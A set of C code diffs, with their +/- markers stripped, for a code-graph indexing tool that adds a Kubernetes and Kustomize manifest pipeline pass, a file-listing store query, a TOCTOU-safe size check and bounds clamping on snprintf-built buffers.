cbm_store_t *store = resolve_store(srv, project);
|
||||
const char *proj_name = project ? project : srv->session_project;
|
||||
|
||||
int sr_cap = 32;
|
||||
int sr_count = 0;
|
||||
search_result_t *sr = calloc(sr_cap, sizeof(search_result_t));
|
||||
|
||||
int raw_cap = 32;
|
||||
int raw_count = 0;
|
||||
grep_match_t *raw = malloc(raw_cap * sizeof(grep_match_t));
|
||||
|
||||
/* Sort matches by file path for contiguous per-file processing */
|
||||
qsort(gm, gm_count, sizeof(grep_match_t), (int (*)(const void *, const void *))strcmp);
|
||||
|
||||
/* Process matches file-by-file (contiguous runs after sort) */
|
||||
int i = 0;
|
||||
while (i < gm_count) {
|
||||
const char *cur_file = gm[i].file;
|
||||
int file_start = i;
|
||||
|
||||
/* Find end of this file's run */
|
||||
while (i < gm_count && strcmp(gm[i].file, cur_file) == 0) {
|
||||
i++;
|
||||
}
|
||||
int file_end = i; /* [file_start, file_end) */
|
||||
|
||||
/* One SQL query: load all nodes in this file */
|
||||
cbm_node_t *file_nodes = NULL;
|
||||
int file_node_count = 0;
|
||||
if (store && proj_name) {
|
||||
cbm_store_find_nodes_by_file(store, proj_name, cur_file, &file_nodes, &file_node_count);
|
||||
}
|
||||
|
||||
/* Match each grep hit to tightest containing node (in-memory) */
|
||||
for (int mi = file_start; mi < file_end; mi++) {
|
||||
int best = -1;
|
||||
int best_span = MAX_LINE_SPAN;
|
||||
for (int j = 0; j < file_node_count; j++) {
|
||||
if (file_nodes[j].start_line <= gm[mi].line &&
|
||||
file_nodes[j].end_line >= gm[mi].line) {
|
||||
int span = file_nodes[j].end_line - file_nodes[j].start_line;
|
||||
if (span < best_span) {
|
||||
best = j;
|
||||
best_span = span;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (best >= 0) {
|
||||
cbm_node_t *n = &file_nodes[best];
|
||||
|
||||
/* Dedup: check if node already in results */
|
||||
int existing = -1;
|
||||
for (int j = 0; j < sr_count; j++) {
|
||||
if (sr[j].node_id == n->id) {
|
||||
existing = j;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (existing >= 0) {
|
||||
if (sr[existing].match_count < 64) {
|
||||
sr[existing].match_lines[sr[existing].match_count++] = gm[mi].line;
|
||||
}
|
||||
} else {
|
||||
if (sr_count >= sr_cap) {
|
||||
sr_cap *= 2;
|
||||
sr = safe_realloc(sr, sr_cap * sizeof(search_result_t));
|
||||
memset(&sr[sr_count], 0, (sr_cap - sr_count) * sizeof(search_result_t));
|
||||
}
|
||||
search_result_t *r = &sr[sr_count];
|
||||
r->node_id = n->id;
|
||||
snprintf(r->node_name, sizeof(r->node_name), "%s", n->name ? n->name : "");
|
||||
snprintf(r->qualified_name, sizeof(r->qualified_name), "%s",
|
||||
n->qualified_name ? n->qualified_name : "");
|
||||
snprintf(r->label, sizeof(r->label), "%s", n->label ? n->label : "");
|
||||
snprintf(r->file, sizeof(r->file), "%s", n->file_path ? n->file_path : "");
|
||||
r->start_line = n->start_line;
|
||||
r->end_line = n->end_line;
|
||||
r->match_lines[0] = gm[mi].line;
|
||||
r->match_count = 1;
|
||||
sr_count++;
|
||||
}
|
||||
} else {
|
||||
if (raw_count >= raw_cap) {
|
||||
raw_cap *= 2;
|
||||
raw = safe_realloc(raw, raw_cap * sizeof(grep_match_t));
|
||||
}
|
||||
raw[raw_count++] = gm[mi];
|
||||
}
|
||||
}
|
||||
|
||||
/* Free file nodes */
|
||||
for (int j = 0; j < file_node_count; j++) {
|
||||
free((void *)file_nodes[j].project);
|
||||
free((void *)file_nodes[j].label);
|
||||
free((void *)file_nodes[j].name);
|
||||
free((void *)file_nodes[j].qualified_name);
|
||||
free((void *)file_nodes[j].file_path);
|
||||
free((void *)file_nodes[j].properties_json);
|
||||
}
|
||||
free(file_nodes);
|
||||
}
|
||||
|
||||
/* Phase 3: batch degree query — ONE query for all results instead of 2×N */
|
||||
if (store && sr_count > 0) {
|
||||
int64_t *ids = malloc(sr_count * sizeof(int64_t));
|
||||
int *in_degs = malloc(sr_count * sizeof(int));
|
||||
int *out_degs = malloc(sr_count * sizeof(int));
|
||||
for (int j = 0; j < sr_count; j++) {
|
||||
ids[j] = sr[j].node_id;
|
||||
}
|
||||
if (cbm_store_batch_count_degrees(store, ids, sr_count, "CALLS", in_degs, out_degs) ==
|
||||
CBM_STORE_OK) {
|
||||
for (int j = 0; j < sr_count; j++) {
|
||||
sr[j].in_degree = in_degs[j];
|
||||
sr[j].out_degree = out_degs[j];
|
||||
}
|
||||
}
|
||||
free(ids);
|
||||
free(in_degs);
|
||||
free(out_degs);
|
||||
}
|
||||
|
||||
/* Compute scores and sort */
|
||||
for (int j = 0; j < sr_count; j++) {
|
||||
sr[j].score = compute_search_score(&sr[j]);
|
||||
}
|
||||
if (sr_count > 1) {
|
||||
qsort(sr, sr_count, sizeof(search_result_t), search_result_cmp);
|
||||
}
|
||||
|
||||
/* ── Phase 4: Context assembly (extracted helper) ─────────── */
|
||||
|
||||
char *result = assemble_search_output(sr, sr_count, raw, raw_count, gm_count, limit, mode,
|
||||
context_lines, root_path);
|
||||
free(gm);
|
||||
free(sr);
|
||||
free(raw);
|
||||
free(root_path);
|
||||
free(pattern);
|
||||
free(project);
|
||||
free(file_pattern);
|
||||
|
||||
char *result = cbm_mcp_text_result(json, false);
|
||||
free(json);
|
||||
if (has_path_filter) {
|
||||
cbm_regfree(&path_regex);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
@@ -383,11 +383,6 @@ int cbm_scan_project_env_urls(const char *root_path, cbm_env_binding_t *out, int
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Skip large files (>1MB) */
|
||||
if (st.st_size > (long)1024 * 1024) {
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Determine file type */
|
||||
file_type_t ft = detect_file_type(ent->name);
|
||||
if (ft == FT_UNKNOWN) {
|
||||
@@ -400,12 +395,19 @@ int cbm_scan_project_env_urls(const char *root_path, cbm_env_binding_t *out, int
|
||||
rel++;
|
||||
}
|
||||
|
||||
/* Read and scan file line by line */
|
||||
/* Open first, then fstat on fd to avoid TOCTOU race */
|
||||
FILE *f = fopen(full_path, "r");
|
||||
if (!f) {
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Recheck size on the open fd (not the path) */
|
||||
struct stat fst;
|
||||
if (fstat(fileno(f), &fst) != 0 || fst.st_size > (long)1024 * 1024) {
|
||||
fclose(f);
|
||||
continue;
|
||||
}
|
||||
|
||||
char line[2048];
|
||||
while (fgets(line, sizeof(line), f) && count < max_out) {
|
||||
/* Strip trailing newline */
|
||||
|
||||
@@ -192,6 +192,31 @@ bool cbm_is_env_file(const char *name) {
|
||||
return false;
|
||||
}
|
||||
|
||||
bool cbm_is_kustomize_file(const char *name) {
|
||||
if (!name) {
|
||||
return false;
|
||||
}
|
||||
char lower[256];
|
||||
to_lower(name, lower, sizeof(lower));
|
||||
if (strcmp(lower, "kustomization.yaml") == 0) {
|
||||
return true;
|
||||
}
|
||||
return strcmp(lower, "kustomization.yml") == 0;
|
||||
}
|
||||
|
||||
// NOLINTNEXTLINE(bugprone-easily-swappable-parameters)
|
||||
bool cbm_is_k8s_manifest(const char *name, const char *content) {
|
||||
if (!name || !content || cbm_is_kustomize_file(name)) {
|
||||
return false;
|
||||
}
|
||||
enum { K8S_PEEK_SZ = 4097 };
|
||||
char buf[K8S_PEEK_SZ];
|
||||
size_t n = strnlen(content, 4096);
|
||||
memcpy(buf, content, n);
|
||||
buf[n] = '\0';
|
||||
return ci_strstr(buf, "apiVersion:") != NULL;
|
||||
}
|
||||
|
||||
// NOLINTNEXTLINE(bugprone-easily-swappable-parameters)
|
||||
bool cbm_is_shell_script(const char *name, const char *ext) {
|
||||
(void)name;
|
||||
|
||||
@@ -0,0 +1,240 @@
|
||||
/*
|
||||
* pass_k8s.c — Pipeline pass for Kubernetes manifest and Kustomize overlay processing.
|
||||
*
|
||||
* For each discovered YAML file:
|
||||
* 1. Check if it is a kustomize overlay (kustomization.yaml / kustomization.yml)
|
||||
* → emit a Module node and IMPORTS edges for each resources/bases/patches entry
|
||||
* 2. Else if it is a generic k8s manifest (apiVersion: detected)
|
||||
* → emit one Resource node per file (first document only — multi-document YAML is not yet
|
||||
* supported)
|
||||
*
|
||||
* Depends on: pass_infrascan.c (cbm_is_kustomize_file, cbm_is_k8s_manifest, cbm_infra_qn),
|
||||
* extraction layer (cbm.h), graph_buffer, pipeline internals.
|
||||
*/
|
||||
#include "pipeline/pipeline.h"
|
||||
#include "pipeline/pipeline_internal.h"
|
||||
#include "graph_buffer/graph_buffer.h"
|
||||
#include "discover/discover.h"
|
||||
#include "foundation/log.h"
|
||||
#include "foundation/compat.h"
|
||||
#include "cbm.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/* ── Internal helpers ────────────────────────────────────────────── */
|
||||
|
||||
/* Read entire file into heap-allocated buffer. Returns NULL on error.
|
||||
* Caller must free(). Sets *out_len to byte count. */
|
||||
static char *k8s_read_file(const char *path, int *out_len) {
|
||||
FILE *f = fopen(path, "rb");
|
||||
if (!f) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
(void)fseek(f, 0, SEEK_END);
|
||||
long size = ftell(f);
|
||||
(void)fseek(f, 0, SEEK_SET);
|
||||
|
||||
if (size <= 0 || size > (long)100 * 1024 * 1024) {
|
||||
(void)fclose(f);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
char *buf = malloc(size + 1);
|
||||
if (!buf) {
|
||||
(void)fclose(f);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
size_t nread = fread(buf, 1, size, f);
|
||||
(void)fclose(f);
|
||||
// NOLINTNEXTLINE(clang-analyzer-security.ArrayBound)
|
||||
buf[nread] = '\0';
|
||||
*out_len = (int)nread;
|
||||
return buf;
|
||||
}
|
||||
|
||||
/* Format int to string for logging. Thread-safe via TLS. */
|
||||
static const char *itoa_k8s(int val) {
|
||||
static CBM_TLS char bufs[4][32];
|
||||
static CBM_TLS int idx = 0;
|
||||
int i = idx;
|
||||
idx = (idx + 1) & 3;
|
||||
snprintf(bufs[i], sizeof(bufs[i]), "%d", val);
|
||||
return bufs[i];
|
||||
}
|
||||
|
||||
/* Extract the basename of a path (pointer into the string; no allocation). */
|
||||
static const char *k8s_basename(const char *path) {
|
||||
const char *p = strrchr(path, '/');
|
||||
return p ? p + 1 : path;
|
||||
}
|
||||
|
||||
/* ── Kustomize handler ───────────────────────────────────────────── */
|
||||
|
||||
static void handle_kustomize(cbm_pipeline_ctx_t *ctx, const char *path, const char *rel_path,
|
||||
CBMFileResult *result) {
|
||||
/* Emit Module node for this kustomize overlay file */
|
||||
char *mod_qn = cbm_infra_qn(ctx->project_name, rel_path, "kustomize", NULL);
|
||||
if (!mod_qn) {
|
||||
return;
|
||||
}
|
||||
|
||||
// NOLINTNEXTLINE(misc-include-cleaner)
|
||||
int64_t mod_id = cbm_gbuf_upsert_node(ctx->gbuf, "Module", k8s_basename(rel_path), mod_qn,
|
||||
rel_path, 1, 0, "{\"source\":\"kustomize\"}");
|
||||
free(mod_qn);
|
||||
|
||||
if (mod_id <= 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
/* If we have a cached extraction result, emit IMPORTS edges for
|
||||
* resources/bases/patches/components entries */
|
||||
int import_count = 0;
|
||||
CBMFileResult *res = result;
|
||||
bool allocated = false;
|
||||
|
||||
if (!res) {
|
||||
/* Fall back to re-extraction */
|
||||
int src_len = 0;
|
||||
char *source = k8s_read_file(path, &src_len);
|
||||
if (source) {
|
||||
res = cbm_extract_file(source, src_len, CBM_LANG_KUSTOMIZE, ctx->project_name, rel_path,
|
||||
CBM_EXTRACT_BUDGET, NULL, NULL);
|
||||
free(source);
|
||||
allocated = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (res) {
|
||||
for (int j = 0; j < res->imports.count; j++) {
|
||||
CBMImport *imp = &res->imports.items[j];
|
||||
if (!imp->module_path) {
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Compute target file QN */
|
||||
char *target_qn =
|
||||
cbm_pipeline_fqn_compute(ctx->project_name, imp->module_path, "__file__");
|
||||
if (!target_qn) {
|
||||
continue;
|
||||
}
|
||||
|
||||
const cbm_gbuf_node_t *target = cbm_gbuf_find_by_qn(ctx->gbuf, target_qn);
|
||||
free(target_qn);
|
||||
|
||||
if (target) {
|
||||
cbm_gbuf_insert_edge(ctx->gbuf, mod_id, target->id, "IMPORTS",
|
||||
"{\"via\":\"kustomize\"}");
|
||||
import_count++;
|
||||
}
|
||||
}
|
||||
|
||||
if (allocated) {
|
||||
cbm_free_result(res);
|
||||
}
|
||||
}
|
||||
|
||||
cbm_log_info("pass.k8s.kustomize", "file", rel_path, "imports", itoa_k8s(import_count));
|
||||
}
|
||||
|
||||
/* ── K8s manifest handler ────────────────────────────────────────── */
|
||||
|
||||
/* source/src_len are the already-read file bytes (caller retains ownership and
|
||||
* must free after this call returns). */
|
||||
static void handle_k8s_manifest(cbm_pipeline_ctx_t *ctx, const char *path, const char *rel_path,
|
||||
const char *source, int src_len) {
|
||||
(void)path; /* retained for symmetry; source is always provided now */
|
||||
int resource_count = 0;
|
||||
|
||||
CBMFileResult *res = cbm_extract_file(source, src_len, CBM_LANG_K8S, ctx->project_name,
|
||||
rel_path, CBM_EXTRACT_BUDGET, NULL, NULL);
|
||||
if (!res) {
|
||||
return;
|
||||
}
|
||||
|
||||
/* Compute file node QN for DEFINES edges */
|
||||
char *file_qn = cbm_pipeline_fqn_compute(ctx->project_name, rel_path, "__file__");
|
||||
const cbm_gbuf_node_t *file_node = file_qn ? cbm_gbuf_find_by_qn(ctx->gbuf, file_qn) : NULL;
|
||||
free(file_qn);
|
||||
|
||||
for (int d = 0; d < res->defs.count; d++) {
|
||||
CBMDefinition *def = &res->defs.items[d];
|
||||
if (!def->label || strcmp(def->label, "Resource") != 0) {
|
||||
continue;
|
||||
}
|
||||
if (!def->name || !def->qualified_name) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// NOLINTNEXTLINE(misc-include-cleaner)
|
||||
int64_t node_id =
|
||||
cbm_gbuf_upsert_node(ctx->gbuf, "Resource", def->name, def->qualified_name, rel_path,
|
||||
(int)def->start_line, (int)def->end_line, "{\"source\":\"k8s\"}");
|
||||
|
||||
/* DEFINES edge: File → Resource */
|
||||
if (file_node && node_id > 0) {
|
||||
cbm_gbuf_insert_edge(ctx->gbuf, file_node->id, node_id, "DEFINES", "{}");
|
||||
}
|
||||
|
||||
resource_count++;
|
||||
}
|
||||
|
||||
cbm_free_result(res);
|
||||
|
||||
cbm_log_info("pass.k8s.manifest", "file", rel_path, "resources", itoa_k8s(resource_count));
|
||||
}
|
||||
|
||||
/* ── Pass entry point ────────────────────────────────────────────── */
|
||||
|
||||
// NOLINTNEXTLINE(misc-include-cleaner) — cbm_file_info_t provided by standard header
|
||||
int cbm_pipeline_pass_k8s(cbm_pipeline_ctx_t *ctx, const cbm_file_info_t *files, int file_count) {
|
||||
cbm_log_info("pass.start", "pass", "k8s", "files", itoa_k8s(file_count));
|
||||
|
||||
cbm_init();
|
||||
|
||||
int kustomize_count = 0;
|
||||
int manifest_count = 0;
|
||||
|
||||
for (int i = 0; i < file_count; i++) {
|
||||
if (cbm_pipeline_check_cancel(ctx)) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
const char *path = files[i].path;
|
||||
const char *rel = files[i].rel_path;
|
||||
CBMLanguage lang = files[i].language;
|
||||
const char *base = k8s_basename(rel);
|
||||
|
||||
CBMFileResult *cached =
|
||||
(ctx->result_cache && ctx->result_cache[i]) ? ctx->result_cache[i] : NULL;
|
||||
|
||||
if (cbm_is_kustomize_file(base)) {
|
||||
handle_kustomize(ctx, path, rel, cached);
|
||||
kustomize_count++;
|
||||
} else if (lang == CBM_LANG_YAML || lang == CBM_LANG_K8S) {
|
||||
/* Read source once to classify (and reuse for uncached extraction). */
|
||||
int src_len = 0;
|
||||
char *source = k8s_read_file(path, &src_len);
|
||||
if (source) {
|
||||
if (cbm_is_k8s_manifest(base, source)) {
|
||||
/* Always re-extract with CBM_LANG_K8S regardless of any cached
|
||||
* result: cached results were produced during the parallel YAML
|
||||
* pass and contain no "Resource" definitions. Pass the already-
|
||||
* read source buffer so handle_k8s_manifest does not re-read. */
|
||||
(void)cached; /* cached YAML result intentionally discarded */
|
||||
handle_k8s_manifest(ctx, path, rel, source, src_len);
|
||||
manifest_count++;
|
||||
}
|
||||
free(source);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
cbm_log_info("pass.done", "pass", "k8s", "kustomize", itoa_k8s(kustomize_count), "manifests",
|
||||
itoa_k8s(manifest_count));
|
||||
return 0;
|
||||
}
|
||||
@@ -17,6 +17,7 @@
|
||||
#include "graph_buffer/graph_buffer.h"
|
||||
#include "store/store.h"
|
||||
#include "discover/discover.h"
|
||||
#include "discover/userconfig.h"
|
||||
#include "foundation/platform.h"
|
||||
#include "foundation/compat_fs.h"
|
||||
#include "foundation/log.h"
|
||||
@@ -44,6 +45,9 @@ struct cbm_pipeline {
|
||||
/* Indexing state (set during run) */
|
||||
cbm_gbuf_t *gbuf;
|
||||
cbm_registry_t *registry;
|
||||
|
||||
/* User-defined extension overrides (loaded once per run) */
|
||||
cbm_userconfig_t *userconfig;
|
||||
};
|
||||
|
||||
/* ── Timing helper ──────────────────────────────────────────────── */
|
||||
@@ -97,6 +101,12 @@ void cbm_pipeline_free(cbm_pipeline_t *p) {
|
||||
free(p->db_path);
|
||||
free(p->project_name);
|
||||
/* gbuf, store, registry freed during/after run */
|
||||
/* Defensively free userconfig in case run() was never called or panicked */
|
||||
if (p->userconfig) {
|
||||
cbm_set_user_lang_config(NULL);
|
||||
cbm_userconfig_free(p->userconfig);
|
||||
p->userconfig = NULL;
|
||||
}
|
||||
free(p);
|
||||
}
|
||||
|
||||
@@ -303,6 +313,10 @@ int cbm_pipeline_run(cbm_pipeline_t *p) {
|
||||
struct timespec t0;
|
||||
cbm_clock_gettime(CLOCK_MONOTONIC, &t0);
|
||||
|
||||
/* Load user-defined extension overrides (fail-open: NULL on error) */
|
||||
p->userconfig = cbm_userconfig_load(p->repo_path);
|
||||
cbm_set_user_lang_config(p->userconfig);
|
||||
|
||||
/* Phase 1: Discover files */
|
||||
cbm_discover_opts_t opts = {
|
||||
.mode = p->mode,
|
||||
@@ -314,6 +328,10 @@ int cbm_pipeline_run(cbm_pipeline_t *p) {
|
||||
int rc = cbm_discover(p->repo_path, &opts, &files, &file_count);
|
||||
if (rc != 0) {
|
||||
cbm_log_error("pipeline.err", "phase", "discover", "rc", itoa_buf(rc));
|
||||
cbm_discover_free(files, file_count);
|
||||
cbm_set_user_lang_config(NULL);
|
||||
cbm_userconfig_free(p->userconfig);
|
||||
p->userconfig = NULL;
|
||||
return -1;
|
||||
}
|
||||
cbm_log_info("pipeline.discover", "files", itoa_buf(file_count), "elapsed_ms",
|
||||
@@ -321,6 +339,9 @@ int cbm_pipeline_run(cbm_pipeline_t *p) {
|
||||
|
||||
if (check_cancel(p)) {
|
||||
cbm_discover_free(files, file_count);
|
||||
cbm_set_user_lang_config(NULL);
|
||||
cbm_userconfig_free(p->userconfig);
|
||||
p->userconfig = NULL;
|
||||
return -1;
|
||||
}
|
||||
|
||||
@@ -494,6 +515,16 @@ int cbm_pipeline_run(cbm_pipeline_t *p) {
|
||||
rc = -1;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
cbm_clock_gettime(CLOCK_MONOTONIC, &t);
|
||||
rc = cbm_pipeline_pass_k8s(&ctx, files, file_count);
|
||||
if (rc != 0) { /* log warning, continue */
|
||||
}
|
||||
cbm_log_info("pass.timing", "pass", "k8s", "elapsed_ms", itoa_buf((int)elapsed_ms(t)));
|
||||
if (check_cancel(p)) {
|
||||
rc = -1;
|
||||
goto cleanup;
|
||||
}
|
||||
} else {
|
||||
cbm_log_info("pipeline.mode", "mode", "sequential", "files", itoa_buf(file_count));
|
||||
|
||||
@@ -518,6 +549,16 @@ int cbm_pipeline_run(cbm_pipeline_t *p) {
|
||||
goto seq_cleanup;
|
||||
}
|
||||
|
||||
cbm_clock_gettime(CLOCK_MONOTONIC, &t);
|
||||
rc = cbm_pipeline_pass_k8s(&ctx, files, file_count);
|
||||
if (rc != 0) { /* log warning, continue */
|
||||
}
|
||||
cbm_log_info("pass.timing", "pass", "k8s", "elapsed_ms", itoa_buf((int)elapsed_ms(t)));
|
||||
if (check_cancel(p)) {
|
||||
rc = -1;
|
||||
goto seq_cleanup;
|
||||
}
|
||||
|
||||
cbm_clock_gettime(CLOCK_MONOTONIC, &t);
|
||||
rc = cbm_pipeline_pass_calls(&ctx, files, file_count);
|
||||
if (rc != 0) {
|
||||
@@ -759,5 +800,9 @@ cleanup:
|
||||
p->gbuf = NULL;
|
||||
cbm_registry_free(p->registry);
|
||||
p->registry = NULL;
|
||||
/* Clear and free user extension config */
|
||||
cbm_set_user_lang_config(NULL);
|
||||
cbm_userconfig_free(p->userconfig);
|
||||
p->userconfig = NULL;
|
||||
return rc;
|
||||
}
|
||||
|
||||
@@ -265,6 +265,18 @@ int cbm_pipeline_run_incremental(cbm_pipeline_t *p, const char *db_path, cbm_fil
|
||||
cbm_log_info("pass.timing", "pass", "incr_semantic", "elapsed_ms",
|
||||
itoa_buf((int)elapsed_ms(t)));
|
||||
|
||||
/* k8s pass runs after semantic (vs. after definitions in the full pipeline) because
|
||||
* incremental has no parallel extraction phase to position it alongside.
|
||||
* Note: File→Resource DEFINES edges and cross-file kustomize IMPORTS edges are not
|
||||
* emitted here — File nodes (from pass_structure) are absent in the incremental gbuf,
|
||||
* and gbuf_find_by_qn only resolves nodes from changed files. This is a known
|
||||
* structural limitation of the incremental architecture. */
|
||||
cbm_clock_gettime(CLOCK_MONOTONIC, &t);
|
||||
if (cbm_pipeline_pass_k8s(&ctx, changed_files, ci) != 0) {
|
||||
cbm_log_info("incremental.warn", "msg", "k8s_pass_failed");
|
||||
}
|
||||
cbm_log_info("pass.timing", "pass", "incr_k8s", "elapsed_ms", itoa_buf((int)elapsed_ms(t)));
|
||||
|
||||
/* Merge new nodes/edges from gbuf into disk DB */
|
||||
int new_nodes = cbm_gbuf_node_count(gbuf);
|
||||
int new_edges = cbm_gbuf_edge_count(gbuf);
|
||||
|
||||
@@ -218,6 +218,8 @@ bool cbm_is_compose_file(const char *name);
|
||||
bool cbm_is_cloudbuild_file(const char *name);
|
||||
bool cbm_is_env_file(const char *name);
|
||||
bool cbm_is_shell_script(const char *name, const char *ext);
|
||||
bool cbm_is_kustomize_file(const char *name);
|
||||
bool cbm_is_k8s_manifest(const char *name, const char *content);
|
||||
|
||||
/* Secret detection */
|
||||
bool cbm_is_secret_binding(const char *key, const char *value);
|
||||
@@ -353,6 +355,8 @@ int cbm_parallel_resolve(cbm_pipeline_ctx_t *ctx, const cbm_file_info_t *files,
|
||||
int cbm_pipeline_pass_definitions(cbm_pipeline_ctx_t *ctx, const cbm_file_info_t *files,
|
||||
int file_count);
|
||||
|
||||
int cbm_pipeline_pass_k8s(cbm_pipeline_ctx_t *ctx, const cbm_file_info_t *files, int file_count);
|
||||
|
||||
int cbm_pipeline_pass_calls(cbm_pipeline_ctx_t *ctx, const cbm_file_info_t *files, int file_count);
|
||||
|
||||
/* Sub-passes called from pass_calls: pattern-based edge extraction */
|
||||
|
||||
+61
-6
@@ -1431,6 +1431,43 @@ void cbm_store_node_degree(cbm_store_t *s, int64_t node_id, int *in_deg, int *ou
|
||||
}
|
||||
}
|
||||
|
||||
/* ── List distinct file paths ────────────────────────────────── */
|
||||
|
||||
int cbm_store_list_files(cbm_store_t *s, const char *project, char ***out, int *count) {
|
||||
*out = NULL;
|
||||
*count = 0;
|
||||
if (!s || !s->db || !project) {
|
||||
return CBM_STORE_ERR;
|
||||
}
|
||||
|
||||
const char *sql = "SELECT DISTINCT file_path FROM nodes "
|
||||
"WHERE project = ?1 AND file_path IS NOT NULL AND file_path != ''";
|
||||
sqlite3_stmt *stmt = NULL;
|
||||
if (sqlite3_prepare_v2(s->db, sql, -1, &stmt, NULL) != SQLITE_OK) {
|
||||
return CBM_STORE_ERR;
|
||||
}
|
||||
sqlite3_bind_text(stmt, 1, project, -1, SQLITE_STATIC);
|
||||
|
||||
int cap = 64;
|
||||
int n = 0;
|
||||
char **files = malloc(cap * sizeof(char *));
|
||||
while (sqlite3_step(stmt) == SQLITE_ROW) {
|
||||
const char *fp = (const char *)sqlite3_column_text(stmt, 0);
|
||||
if (!fp) {
|
||||
continue;
|
||||
}
|
||||
if (n >= cap) {
|
||||
cap *= 2;
|
||||
files = safe_realloc(files, cap * sizeof(char *));
|
||||
}
|
||||
files[n++] = heap_strdup(fp);
|
||||
}
|
||||
sqlite3_finalize(stmt);
|
||||
*out = files;
|
||||
*count = n;
|
||||
return CBM_STORE_OK;
|
||||
}
|
||||
|
||||
/* ── Node neighbor names ──────────────────────────────────────── */
|
||||
|
||||
// NOLINTNEXTLINE(bugprone-easily-swappable-parameters)
|
||||
@@ -1895,10 +1932,16 @@ int cbm_store_search(cbm_store_t *s, const cbm_search_params_t *params, cbm_sear
|
||||
int elen = (int)strlen(excl_clause);
|
||||
for (int i = 0; params->exclude_labels[i]; i++) {
|
||||
if (i > 0) {
|
||||
elen += snprintf(excl_clause + elen, sizeof(excl_clause) - elen, ",");
|
||||
elen += snprintf(excl_clause + elen, sizeof(excl_clause) - (size_t)elen, ",");
|
||||
if (elen >= (int)sizeof(excl_clause)) {
|
||||
elen = (int)sizeof(excl_clause) - 1;
|
||||
}
|
||||
}
|
||||
elen += snprintf(excl_clause + elen, sizeof(excl_clause) - elen, "'%s'",
|
||||
elen += snprintf(excl_clause + elen, sizeof(excl_clause) - (size_t)elen, "'%s'",
|
||||
params->exclude_labels[i]);
|
||||
if (elen >= (int)sizeof(excl_clause)) {
|
||||
elen = (int)sizeof(excl_clause) - 1;
|
||||
}
|
||||
}
|
||||
snprintf(excl_clause + elen, sizeof(excl_clause) - (size_t)elen, ")");
|
||||
ADD_WHERE(excl_clause);
|
||||
@@ -2040,10 +2083,16 @@ int cbm_store_bfs(cbm_store_t *s, int64_t start_id, const char *direction, const
|
||||
int tlen = 0;
|
||||
for (int i = 0; i < edge_type_count; i++) {
|
||||
if (i > 0) {
|
||||
tlen += snprintf(types_clause + tlen, sizeof(types_clause) - tlen, ",");
|
||||
tlen += snprintf(types_clause + tlen, sizeof(types_clause) - (size_t)tlen, ",");
|
||||
if (tlen >= (int)sizeof(types_clause)) {
|
||||
tlen = (int)sizeof(types_clause) - 1;
|
||||
}
|
||||
}
|
||||
tlen += snprintf(types_clause + tlen, sizeof(types_clause) - (size_t)tlen, "'%s'",
|
||||
edge_types[i]);
|
||||
if (tlen >= (int)sizeof(types_clause)) {
|
||||
tlen = (int)sizeof(types_clause) - 1;
|
||||
}
|
||||
tlen +=
|
||||
snprintf(types_clause + tlen, sizeof(types_clause) - tlen, "'%s'", edge_types[i]);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2111,9 +2160,15 @@ int cbm_store_bfs(cbm_store_t *s, int64_t start_id, const char *direction, const
|
||||
/* Build ID set: root + all visited */
|
||||
char id_set[4096];
|
||||
int ilen = snprintf(id_set, sizeof(id_set), "%lld", (long long)start_id);
|
||||
if (ilen >= (int)sizeof(id_set)) {
|
||||
ilen = (int)sizeof(id_set) - 1;
|
||||
}
|
||||
for (int i = 0; i < n; i++) {
|
||||
ilen += snprintf(id_set + ilen, sizeof(id_set) - ilen, ",%lld",
|
||||
ilen += snprintf(id_set + ilen, sizeof(id_set) - (size_t)ilen, ",%lld",
|
||||
(long long)out->visited[i].node.id);
|
||||
if (ilen >= (int)sizeof(id_set)) {
|
||||
ilen = (int)sizeof(id_set) - 1;
|
||||
}
|
||||
}
|
||||
|
||||
char edge_sql[8192];
|
||||
|
||||
@@ -73,6 +73,10 @@ int cbm_store_find_nodes_by_qn_suffix(cbm_store_t *s, const char *project, const
|
||||
/* Get CALLS degree of a node (inbound and outbound). */
|
||||
void cbm_store_node_degree(cbm_store_t *s, int64_t node_id, int *in_deg, int *out_deg);
|
||||
|
||||
/* Get distinct file paths for a project. Caller must free each out[i] and out itself.
|
||||
* Returns CBM_STORE_OK or CBM_STORE_ERR. */
|
||||
int cbm_store_list_files(cbm_store_t *s, const char *project, char ***out, int *count);
|
||||
|
||||
/* Get caller/callee names for a node (CALLS/HTTP_CALLS/ASYNC_CALLS edges).
|
||||
* Returns 0 on success. Caller must free each out_callers[i]/out_callees[i]
|
||||
* and the arrays themselves. */
|
||||
|
||||
@@ -274,6 +274,9 @@ static void handle_processes(struct mg_connection *c) {
|
||||
"\"elapsed\":\"%s\",\"command\":\"%s\",\"is_self\":%s}",
|
||||
pid, (double)cpu, (double)rss / 1024.0, elapsed, comm,
|
||||
pid == (int)getpid() ? "true" : "false");
|
||||
if (pos >= (int)sizeof(buf)) {
|
||||
pos = (int)sizeof(buf) - 1;
|
||||
}
|
||||
proc_count++;
|
||||
}
|
||||
}
|
||||
@@ -415,6 +418,9 @@ static void handle_browse(struct mg_connection *c, struct mg_http_message *hm) {
|
||||
if (count > 0)
|
||||
buf[pos++] = ',';
|
||||
pos += snprintf(buf + pos, sizeof(buf) - (size_t)pos, "\"%s\"", ent->d_name);
|
||||
if (pos >= (int)sizeof(buf)) {
|
||||
pos = (int)sizeof(buf) - 1;
|
||||
}
|
||||
count++;
|
||||
|
||||
if (count >= 200)
|
||||
|
||||
+6
-2
@@ -7050,8 +7050,12 @@ TEST(clsp_nocrash_extremely_large_function) {
|
||||
int off = 0;
|
||||
